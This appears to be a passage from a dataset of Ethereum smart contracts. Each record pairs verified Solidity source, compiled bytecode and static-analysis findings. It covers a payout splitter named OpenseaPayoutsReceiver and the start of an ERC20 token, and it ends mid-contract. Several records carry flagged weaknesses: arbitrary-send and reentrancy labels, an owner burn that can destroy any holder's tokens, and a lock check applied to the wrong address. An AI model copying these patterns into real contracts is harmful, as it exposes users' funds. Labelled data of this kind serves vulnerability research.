9169083151502179055508160086000858152602001908152602001600020600082825461133391906121b9565b92505081905550505050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd86868660405160240161137393929190611ee4565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516113c19190611eb2565b6000604051808303816000865af19150503d80600081146113fe576040519150601f19603f3d011682016040523d82523d6000602084013e611403565b606091505b5091509150818015611431575060008151148061143057508080602001905181019061142f9190611b1f565b5b5b611470576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611467906120bf565b60405180910390fd5b505050505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663095ea7b385856040516024016114aa929190611f1b565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516114f89190611eb2565b6000604051808303816000865af19150503d8060008114611535576040519150601f19603f3d011682016040523d82523d6000602084013e61153a565b606091505b509150915081801561156857506000815114806115675750808060200190518101906115669190611b1f565b5b5b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e90611fbf565b60405180910390fd5b5050505050565b6115b66118c9565b73ffffffffffffffffffffffffffffffffffffffff166115d4610d08565b73ffffffffffffffffffffffffffffffffffffffff161461162a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116219061203f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561169a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169190611f9f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61175f6118c9565b73ffffffffffffffffffffffffffffffffffffffff1661177d610d08565b73ffffffffffffffffffffffffffffffffffffffff16146117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca9061203f565b60405180910390fd5b6117de823383610da8565b5050565b60086020528060005260406000206000915090505481565b6000804290506000839050600063018b82008561181791906121b9565b90506000670de0b6b3a76400009050600062278d00905061183c858585848c876118d1565b9550505050505092915050565b600080429050600062278d008461186091906121b9565b9050600062ed4e008561187391906121b9565b905060006706f05b59d3b20000905060006706f05b59d3b200009050600062278d0090506118a5868686848d876118d1565b6118b187878c87611974565b6118bb91906121b9565b965050505050505092915050565b600033905090565b600080670de0b6b3a764000083856118e991906123b1565b6118f3919061220f565b90508688101561190757600091505061196a565b858810611917578091505061196a565b6000858888611926919061240b565b611930919061220f565b8261193b919061220f565b9050600086898b61194c919061240b565b611956919061220f565b9050808261196491906123b1565b93505050505b9695505050505050565b600080670de0b6b3a7640000838561198c91906123b1565b611996919061220f565b9050848610156119a75760006119a9565b805b915050949350505050565b6000813590506119c3816127d9565b92915050565b6000815190506119d8816127f0565b92915050565b6000813590506119ed81612807565b92915050565b600081519050611a028161281e565b92915050565b600060208284031215611a1a57600080fd5b6000611a28848285016119b4565b91505092915050565b60008060008060808587031215611a4757600080fd5b6000611a55878288016119b4565b9450506020611a66878288016119b4565b9350506040611a77878288016119b4565b9250506060611a88878288016119de565b91505092959194509250565b600080600060608486031215611aa957600080fd5b6000611ab7868287016119b4565b9350506020611ac8868287016119b4565b9250506040611ad9868287016119de565b9150509250925092565b60008060408385031215611af657600080fd5b6000611b04858286016119b4565b9250506020611b15858286016119de565b9150509250929050565b600060208284031215611b3157600080fd5b6000611b3f848285016119c9565b91505092915050565b600060208284031215611b5a57600080fd5b6000611b68848285016119de565b91505092915050565b60008060408385031215611b8457600080fd5b6000611b92858286016119de565b9250506020611ba3858286016119b4565b9150509250929050565b60008060408385031215611bc057600080fd5b6000611bce858286016119de565b9250506020611bdf858286016119de565b9150509250929050565b600080600080600080600060e0888a031215611c0457600080fd5b6000611c128a828b016119de565b9750506020611c238a828b016119de565b9650506040611c348a828b016119de565b9550506060611c458a828b016119de565b9450506080611c568a828b016119de565b93505060a0611c678a828b016119de565b92505060c0611c788a828b016119de565b91505092959891949750929550565b600060208284031215611c9957600080fd5b6000611ca7848285016119f3565b91505092915050565b611cb98161243f565b82525050565b611cc881612451565b82525050565b6000611cd982612192565b611ce3818561219d565b9350611cf3818560208601612494565b80840191505092915050565b6000611d0c601f836121a8565b9150611d178261257b565b602082019050919050565b6000611d2f600e836121a8565b9150611d3a826125a4565b602082019050919050565b6000611d526026836121a8565b9150611d5d826125cd565b604082019050919050565b6000611d75601e836121a8565b9150611d808261261c565b602082019050919050565b6000611d98600d836121a8565b9150611da382612645565b602082019050919050565b6000611dbb600e836121a8565b9150611dc68261266e565b602082019050919050565b6000611dde6010836121a8565b9150611de982612697565b602082019050919050565b6000611e016020836121a8565b9150611e0c826126c0565b602082019050919050565b6000611e24600d836121a8565b9150611e2f826126e9565b602082019050919050565b6000611e47600d836121a8565b9150611e5282612712565b602082019050919050565b6000611e6a6023836121a8565b9150611e758261273b565b604082019050919050565b6000611e8d6024836121a8565b9150611e988261278a565b604082019050919050565b611eac8161247d565b82525050565b6000611ebe8284611cce565b915081905092915050565b6000602082019050611ede6000830184611cb0565b92915050565b6000606082019050611ef96000830186611cb0565b611f066020830185611cb0565b611f136040830184611ea3565b949350505050565b6000604082019050611f306000830185611cb0565b611f3d6020830184611ea3565b9392505050565b6000602082019050611f596000830184611cbf565b92915050565b60006020820190508181036000830152611f7881611cff565b9050919050565b60006020820190508181036000830152611f9881611d22565b9050919050565b60006020820190508181036000830152611fb881611d45565b9050919050565b60006020820190508181036000830152611fd881611d68565b9050919050565b60006020820190508181036000830152611ff881611d8b565b9050919050565b6000602082019050818103600083015261201881611dae565b9050919050565b6000602082019050818103600083015261203881611dd1565b9050919050565b6000602082019050818103600083015261205881611df4565b9050919050565b6000602082019050818103600083015261207881611e17565b9050919050565b6000602082019050818103600083015261209881611e3a565b9050919050565b600060208201905081810360008301526120b881611e5d565b9050919050565b600060208201905081810360008301526120d881611e80565b9050919050565b60006020820190506120f46000830184611ea3565b92915050565b600060608201905061210f6000830186611ea3565b61211c6020830185611ea3565b6121296040830184611cbf565b949350505050565b600060c0820190506121466000830189611ea3565b6121536020830188611ea3565b6121606040830187611ea3565b61216d6060830186611ea3565b61217a6080830185611ea3565b61218760a0830184611ea3565b979650505050505050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006121c48261247d565b91506121cf8361247d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561220457612203612510565b5b828201905092915050565b600061221a8261247d565b91506122258361247d565b9250826122355761223461253f565b5b828204905092915050565b6000808291508390505b600185111561228a5780860481111561226657612265612510565b5b60018516156122755780820291505b80810290506122838561256e565b945061224a565b94509492505050565b600061229e8261247d565b91506122a983612487565b92506122d67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846122de565b905092915050565b6000826122ee57600190506123aa565b816122fc57600090506123aa565b8160018114612312576002811461231c5761234b565b60019150506123aa565b60ff84111561232e5761232d612510565b5b8360020a91508482111561234557612344612510565b5b506123aa565b5060208310610133831016604e8410600b84101617156123805782820a90508381111561237b5761237a612510565b5b6123aa565b61238d8484846001612240565b925090508184048111156123a4576123a3612510565b5b81810290505b9392505050565b60006123bc8261247d565b91506123c78361247d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612400576123ff612510565b5b828202905092915050565b60006124168261247d565b91506124218361247d565b92508282101561243457612433612510565b5b828203905092915050565b600061244a8261245d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156124b2578082015181840152602081019050612497565b838111156124c1576000848401525b50505050565b60006124d28261247d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561250557612504612510565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60008160011c9050919050565b7f5472616e7366657248656c7065723a205452414e534645525f4641494c454400600082015250565b7f57524f4e475f524f554e445f4944000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000600082015250565b7f4d4f52455f5448414e5f4d415800000000000000000000000000000000000000600082015250565b7f414c52454144595f424f55474854000000000000000000000000000000000000600082015250565b7f4e4f5448494e475f544f5f434c41494d00000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4558434545445f535550504c5900000000000000000000000000000000000000600082015250565b7f4c4553535f5448414e5f4d494e00000000000000000000000000000000000000600082015250565b7f5472616e7366657248656c7065723a204554485f5452414e534645525f46414960008201527f4c45440000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657248656c7065723a205452414e534645525f46524f4d5f464160008201527f494c454400000000000000000000000000000000000000000000000000000000602082015250565b6127e28161243f565b81146127ed57600080fd5b50565b6127f981612451565b811461280457600080fd5b50565b6128108161247d565b811461281b57600080fd5b50565b61282781612487565b811461283257600080fd5b5056fea26469706673582212208c9438fd1de119ed5cb1e2134052e720190a025949e6e3be21472c47aa24131b64736f6c63430008010033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,559
0x83d841d496e9de55717cc1ba4f8195b7b04bb157
/** *Submitted for verification at Etherscan.io on 2021-08-11 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract OpenseaPayoutsReceiver { using SafeERC20 for IERC20; address payable[] public ownerList; mapping(address => bool) owners; constructor(address payable[] memory _owners) { ownerList = _owners; } receive () external payable { uint256 payoutEach = msg.value / ownerList.length; for (uint256 i = 0; i < ownerList.length; i++) { ownerList[i].transfer(payoutEach); } } function rescueERC20(address token) external { uint256 payoutEach = IERC20(token).balanceOf(address(this)) / ownerList.length; for (uint256 i = 0; i < ownerList.length; i++) { IERC20(token).safeTransfer(ownerList[i], payoutEach); } } }
0x60806040526004361061002d5760003560e01c8063ccec37161461011d578063def79ab51461014657610118565b36610118576000808054905034610044919061092a565b905060005b6000805490508110156101145760008181548110610090577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610100573d6000803e3d6000fd5b50808061010c906109e8565b915050610049565b5050005b600080fd5b34801561012957600080fd5b50610144600480360381019061013f919061065c565b610183565b005b34801561015257600080fd5b5061016d600480360381019061016891906106ae565b6102d6565b60405161017a9190610832565b60405180910390f35b600080805490508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016101c39190610817565b60206040518083038186803b1580156101db57600080fd5b505afa1580156101ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021391906106d7565b61021d919061092a565b905060005b6000805490508110156102d1576102be6000828154811061026c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838573ffffffffffffffffffffffffffffffffffffffff166103159092919063ffffffff16565b80806102c9906109e8565b915050610222565b505050565b600081815481106102e657600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6103968363a9059cbb60e01b848460405160240161033492919061084d565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061039b565b505050565b60006103fd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166104629092919063ffffffff16565b905060008151111561045d578080602001905181019061041d9190610685565b61045c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610453906108d8565b60405180910390fd5b5b505050565b6060610471848460008561047a565b90509392505050565b6060824710156104bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b690610898565b60405180910390fd5b6104c88561058e565b610507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fe906108b8565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516105309190610800565b60006040518083038185875af1925050503d806000811461056d576040519150601f19603f3d011682016040523d82523d6000602084013e610572565b606091505b50915091506105828282866105a1565b92505050949350505050565b600080823b905060008111915050919050565b606083156105b157829050610601565b6000835111156105c45782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f89190610876565b60405180910390fd5b9392505050565b60008135905061061781610b67565b92915050565b60008151905061062c81610b7e565b92915050565b60008135905061064181610b95565b92915050565b60008151905061065681610b95565b92915050565b60006020828403121561066e57600080fd5b600061067c84828501610608565b91505092915050565b60006020828403121561069757600080fd5b60006106a58482850161061d565b91505092915050565b6000602082840312156106c057600080fd5b60006106ce84828501610632565b91505092915050565b6000602082840312156106e957600080fd5b60006106f784828501610647565b91505092915050565b6107098161096d565b82525050565b6107188161095b565b82525050565b6000610729826108f8565b610733818561090e565b93506107438185602086016109b5565b80840191505092915050565b600061075a82610903565b6107648185610919565b93506107748185602086016109b5565b61077d81610a8f565b840191505092915050565b6000610795602683610919565b91506107a082610aa0565b604082019050919050565b60006107b8601d83610919565b91506107c382610aef565b602082019050919050565b60006107db602a83610919565b91506107e682610b18565b604082019050919050565b6107fa816109ab565b82525050565b600061080c828461071e565b915081905092915050565b600060208201905061082c600083018461070f565b92915050565b60006020820190506108476000830184610700565b92915050565b6000604082019050610862600083018561070f565b61086f60208301846107f1565b9392505050565b60006020820190508181036000830152610890818461074f565b905092915050565b600060208201905081810360008301526108b181610788565b9050919050565b600060208201905081810360008301526108d1816107ab565b9050919050565b600060208201905081810360008301526108f1816107ce565b9050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000610935826109ab565b9150610940836109ab565b9250826109505761094f610a60565b5b828204905092915050565b60006109668261098b565b9050919050565b60006109788261098b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156109d35780820151818401526020810190506109b8565b838111156109e2576000848401525b50505050565b60006109f3826109ab565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610a2657610a25610a31565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b610b708161095b565b8114610b7b57600080fd5b50565b610b878161097f565b8114610b9257600080fd5b50565b610b9e816109ab565b8114610ba957600080fd5b5056fea2646970667358221220d7d4218503be76bbc9680ebe11abe5779aa576b36cc831bbbd6a789efb0af6bd64736f6c63430008040033
{"success": true, "error": null, "results": {}}
2,560
0x5E031a5bC1c6b6E86A49e0B0F2e757800F1D0FFf
/** *Submitted for verification at Etherscan.io on 2021-05-20 */ pragma solidity 0.5.6; // ERC20 declare contract IERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed burner, uint256 value); } // Ownable contract Ownable { address public owner; address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyOwnerOrAdmin() { require((msg.sender == owner || msg.sender == admin)); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); require(newOwner != owner); require(newOwner != admin); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setAdmin(address newAdmin) onlyOwner public { require(admin != newAdmin); require(owner != newAdmin); admin = newAdmin; } } // ERC20 functions contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => bool) internal locks; mapping (address => mapping (address => uint256)) private _allowed; uint256 public Max_supply = 10000000000 * (10 ** 18); uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); require(locks[msg.sender] == false); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _mint(address account, uint256 value) internal { require(account != address(0)); require(Max_supply >= _totalSupply.add(value)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function burn(address from, uint256 value) public onlyOwner { _burn(from, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function lock(address _owner) public onlyOwner returns (bool) { require(locks[_owner] == false); locks[_owner] = true; return true; } function unlock(address _owner) public onlyOwner returns (bool) { require(locks[_owner] == true); locks[_owner] = false; return true; } function showLockState(address _owner) public view returns (bool) { return locks[_owner]; } } // Pause, Mint base library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // ERC20Detailed contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function decimals() public view returns (uint8) { return _decimals; } } // Math library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SafeMath library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); // overflow check return c; } } // Pause part contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20Pausable is 